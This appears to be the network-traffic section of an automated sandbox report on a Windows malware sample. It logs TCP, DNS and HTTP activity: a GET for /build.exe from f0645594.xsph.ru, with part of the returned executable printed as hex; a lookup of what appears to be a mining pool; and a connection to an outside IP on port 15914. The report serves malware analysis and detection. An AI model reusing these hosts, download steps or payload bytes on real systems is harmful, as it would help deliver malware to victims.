Mar 18, 2022 07:00:37.386792898 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386810064 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.386836052 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386877060 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.386888981 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.449604034 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449678898 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449718952 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.449726105 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449769020 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.449799061 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449856997 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449907064 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.449911118 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449947119 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.449995041 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450016022 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450050116 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450100899 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450100899 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450160980 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450249910 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450258017 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450309038 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450347900 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450356960 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450397968 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450434923 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450443029 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450470924 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450506926 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450520039 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450541019 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450575113 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450583935 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450609922 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450647116 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450654984 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450684071 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450717926 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450728893 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450752974 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450788021 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450800896 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450823069 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450858116 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450865984 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450891972 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450927973 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450937033 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.450964928 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.450999022 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451014042 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451037884 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451073885 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451086044 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451107025 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451143026 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451153040 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451178074 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451214075 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451251030 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451261044 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451286077 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451306105 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451322079 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451358080 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451371908 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451391935 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451426983 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451452971 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.451469898 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451513052 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.451524019 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513168097 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513200998 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513221979 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513269901 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513293028 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513314009 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513333082 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513335943 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513358116 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513360023 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513381958 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513405085 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513420105 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513452053 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513504982 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513525963 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513547897 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513570070 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513583899 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513592958 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513616085 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513636112 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513637066 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513660908 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513667107 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513683081 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513705969 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513715982 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513727903 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513751030 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513816118 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513845921 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513875008 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513880014 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.513901949 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.513926983 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514025927 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514056921 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514086962 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514116049 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514148951 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514168978 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514209032 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514240980 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514262915 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514269114 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514301062 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514317989 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514329910 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514360905 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514380932 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514389992 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514441967 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514477968 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514509916 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514570951 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514600039 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514611006 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514632940 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514653921 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514662027 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514692068 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514713049 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514720917 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514753103 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514772892 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.514841080 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514866114 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.514890909 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.574944019 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575004101 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575047970 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575054884 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575090885 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575112104 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575131893 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575172901 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575206995 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575346947 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575387001 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575396061 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575431108 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575472116 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575484037 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575514078 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575556040 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575563908 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575608015 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575649023 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575654030 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.575691938 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575728893 CET	80	49774	141.8.192.151	192.168.2.3
Mar 18, 2022 07:00:37.575737000 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:37.779439926 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:38.397772074 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:38.486308098 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:38.510888100 CET	15914	49755	65.108.82.103	192.168.2.3
Mar 18, 2022 07:00:38.576428890 CET	49755	15914	192.168.2.3	65.108.82.103
Mar 18, 2022 07:00:38.758997917 CET	49774	80	192.168.2.3	141.8.192.151
Mar 18, 2022 07:00:38.759445906 CET	49755	15914	192.168.2.3	65.108.82.103

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 18, 2022 07:00:34.632643938 CET	64452	53	192.168.2.3	8.8.8.8
Mar 18, 2022 07:00:34.653395891 CET	53	64452	8.8.8.8	192.168.2.3
Mar 18, 2022 07:00:34.737607002 CET	61380	53	192.168.2.3	8.8.8.8
Mar 18, 2022 07:00:34.758465052 CET	53	61380	8.8.8.8	192.168.2.3
Mar 18, 2022 07:00:37.085191011 CET	63146	53	192.168.2.3	8.8.8.8
Mar 18, 2022 07:00:37.102577925 CET	53	63146	8.8.8.8	192.168.2.3
Mar 18, 2022 07:01:31.481319904 CET	58497	53	192.168.2.3	8.8.8.8
Mar 18, 2022 07:01:31.501383066 CET	53	58497	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Mar 18, 2022 07:00:34.632643938 CET	192.168.2.3	8.8.8.8	0x9b10	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.737607002 CET	192.168.2.3	8.8.8.8	0xeabc	Standard query (0)	discord.com	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:37.085191011 CET	192.168.2.3	8.8.8.8	0xdba1	Standard query (0)	f0645594.xsph.ru	A (IP address)	IN (0x0001)
Mar 18, 2022 07:01:31.481319904 CET	192.168.2.3	8.8.8.8	0x32ea	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Mar 18, 2022 07:00:34.653395891 CET	8.8.8.8	192.168.2.3	0x9b10	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.653395891 CET	8.8.8.8	192.168.2.3	0x9b10	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.653395891 CET	8.8.8.8	192.168.2.3	0x9b10	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.653395891 CET	8.8.8.8	192.168.2.3	0x9b10	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.653395891 CET	8.8.8.8	192.168.2.3	0x9b10	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.758465052 CET	8.8.8.8	192.168.2.3	0xeabc	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.758465052 CET	8.8.8.8	192.168.2.3	0xeabc	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.758465052 CET	8.8.8.8	192.168.2.3	0xeabc	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.758465052 CET	8.8.8.8	192.168.2.3	0xeabc	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:34.758465052 CET	8.8.8.8	192.168.2.3	0xeabc	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)
Mar 18, 2022 07:00:37.102577925 CET	8.8.8.8	192.168.2.3	0xdba1	No error (0)	f0645594.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)
Mar 18, 2022 07:01:31.501383066 CET	8.8.8.8	192.168.2.3	0x32ea	No error (0)	pool.hashvault.pro	131.153.142.106	A (IP address)	IN (0x0001)
Mar 18, 2022 07:01:31.501383066 CET	8.8.8.8	192.168.2.3	0x32ea	No error (0)	pool.hashvault.pro	131.153.56.98	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

discord.com

f0645594.xsph.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49773	162.159.128.233	443	C:\Users\user\Desktop\18561381.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49772	162.159.135.232	80	C:\Users\user\Desktop\18561381.exe

Timestamp	kBytes transferred	Direction	Data
Mar 18, 2022 07:00:34.696507931 CET	8447	OUT	GET /channels/948610961449816084/948610961449816086/948611091527774228 HTTP/1.1 Host: discord.com Connection: Keep-Alive
Mar 18, 2022 07:00:34.721851110 CET	8448	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 18 Mar 2022 06:00:34 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Fri, 18 Mar 2022 07:00:34 GMT Location: https://discord.com/channels/948610961449816084/948610961449816086/948611091527774228 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KJTulbvaf9LQiNREMy8ahmLKp%2FrCKjIBEjUSqXgpPOLbRcpQsRLhzxcvuBNDtKbw2yY35CjSNA25VOwc%2BOrQn74J5zYPAajHKupLc2MiP8MwcrLo25z8Ip4CASTo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 6edbbfb0ebde68fe-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49774	141.8.192.151	80	C:\Users\user\Desktop\18561381.exe

Timestamp	kBytes transferred	Direction	Data
Mar 18, 2022 07:00:37.167714119 CET	8467	OUT	GET /build.exe HTTP/1.1 Host: f0645594.xsph.ru Connection: Keep-Alive
Mar 18, 2022 07:00:37.260592937 CET	8468	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 18 Mar 2022 06:00:37 GMT Content-Type: application/octet-stream Content-Length: 233472 Last-Modified: Sat, 12 Mar 2022 23:10:19 GMT Connection: keep-alive ETag: "622d285b-39000" Expires: Fri, 25 Mar 2022 06:00:37 GMT Cache-Control: max-age=604800 Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1e 28 2d 62 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 58 02 00 00 34 01 00 00 00 00 00 0a e0 03 00 00 60 01 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 67 01 00 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 00 08 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 48 00 00 00 00 00 00 00 00 00 00 00 58 31 28 75 3b 73 42 32 44 30 01 00 00 20 00 00 00 32 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 b8 54 02 00 00 60 01 00 00 56 02 00 00 36 01 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 e0 03 00 00 02 00 00 00 8e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(-b"0X4` @ @gW`HX1(u;sB2D0 2@.textT`V6 `.reloc@B `
Mar 18, 2022 07:00:37.260626078 CET	8470	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 d9 0c c8 5a e1 50 ae d5 11 e9 a8 cb 40 b5 c4 dc 82 fd b9 c1 b8 9e 17 7c b7 89 d2 6a ed 84 a9 17 30 07 ad d6 ef 47 44 95 30 1a 62 b6 41 94 07 a6 e1 89 a2 59 d0 65 b8 11 8c 76 21 e6 f2 3d 03 51 d9 42 8f 46 e1 95 Data Ascii: ZP@\|j0GD0bAYev!=QBFi2YjTyL=.lDsd=J0tfE?.:V[IflYa[uE9i%j&\|6xX:%e+o
Mar 18, 2022 07:00:37.260646105 CET	8471	IN	Data Raw: 8f 6b cc e4 8f 8c 97 63 6d 35 d9 e7 54 d9 c2 56 0c f7 5d 9a 76 99 dd e5 87 b0 0e bf dc 17 4c 16 9f a1 f5 d6 cb a1 86 12 75 73 be 3f a8 36 14 a5 a8 d3 83 95 55 51 0b af ce a8 ec 9f 0d bf c2 99 dd 10 e7 0b e0 73 d1 a9 aa bb 6f 89 48 69 47 f7 56 af Data Ascii: kcm5TV]vLus?6UQsoHiGVX(`Wpebc'%i6$'dX/$%2Ex/Svm)at:m$ZryOd\|9VT%z6{sgq&jfX-q\E
Mar 18, 2022 07:00:37.260668039 CET	8472	IN	Data Raw: 2d b2 12 1b e1 e7 34 59 20 70 99 ba e1 ab 66 2f 83 2f 50 5f 4c d4 53 32 6b 50 72 49 5c c6 50 73 a2 f4 5e 9c c0 da 70 d1 db f1 f2 c1 21 b9 b5 ec a9 5e c1 5e 23 d1 6a c3 94 f6 52 6e f2 a1 8c 9e ec 50 6d 95 a1 4c 6c 3e 80 f7 f6 5e bb 43 3e de 7e d9 Data Ascii: -4Y pf//P_LS2kPrI\Ps^p!^^#jRnPmLl>^C>~YDI{+-\|<%VlGiZ5,DqkZUF8KYt3HLrOP=-M;%R2MO(L?-
Mar 18, 2022 07:00:37.260689020 CET	8474	IN	Data Raw: e0 62 2a b3 06 44 d4 9d f0 d6 cf f4 21 64 21 a1 44 68 39 53 54 97 be 86 5a 88 42 f1 be 6b fa d2 c2 c1 77 07 5c be 0b 65 f6 0f cf 2a 1a 8b bd 3b 6f 72 ad 9c 38 33 29 e9 17 95 b2 ae ae 2e ce 6b 94 a0 43 f1 c7 81 ed 47 ba 14 e8 91 d3 a1 3a 38 fa a5 Data Ascii: bD!d!Dh9STZBkw\e;or83).kCG:8R[w~$M@%5pB/xlM\\|RSk5t",9=9=N\|\|[>ujPA5:lh![PAk$E=zbwV8_[D+
Mar 18, 2022 07:00:37.260710001 CET	8475	IN	Data Raw: f7 83 57 0e ad 5e ce 24 c3 36 d4 5a 89 8d b6 09 ee b4 40 3b 1b 92 47 f7 30 8b 4d b5 f8 72 b9 0e c7 1b 8f f7 86 07 79 b3 7a 65 01 91 ac 4d bb b1 d0 65 0b 02 99 01 58 aa d3 a1 4c 48 cb 29 b6 f4 37 f4 55 1e d7 a1 9e 3a cf 79 af 69 b8 f4 6b 7f 3a 27 Data Ascii: W^$6Z@;G0MryzeMeXLH)7U:yik:'%aX(kKDC$NirCUM\|`AyeHo=6s{_f&(g8&?HL3<{=@v~o\|YiC$t$?qi;epagY
Mar 18, 2022 07:00:37.260731936 CET	8477	IN	Data Raw: 29 88 e2 d7 17 7a c3 aa f8 a8 42 55 60 0a bd f5 f3 4e bc ac aa 2e 34 7f c5 91 55 dc 63 94 1b dd 6c 6e 80 88 99 58 9f db dd 0b 4b ca df 7c 3c f7 18 1a 93 c7 6e 04 2d ff 35 25 9e e3 ac 60 78 0f fa e0 d0 f9 f2 f0 4c e3 9e c3 7d 45 1c bd 29 e2 be 80 Data Ascii: )zBU`N.4UclnXK\|<n-5%`xL}E)=}K)V?iMhDiD46'7S8D\8btE['<Iw_g^0`ua\XtJ:lu~1R\|!bBJy?5,3\AO"
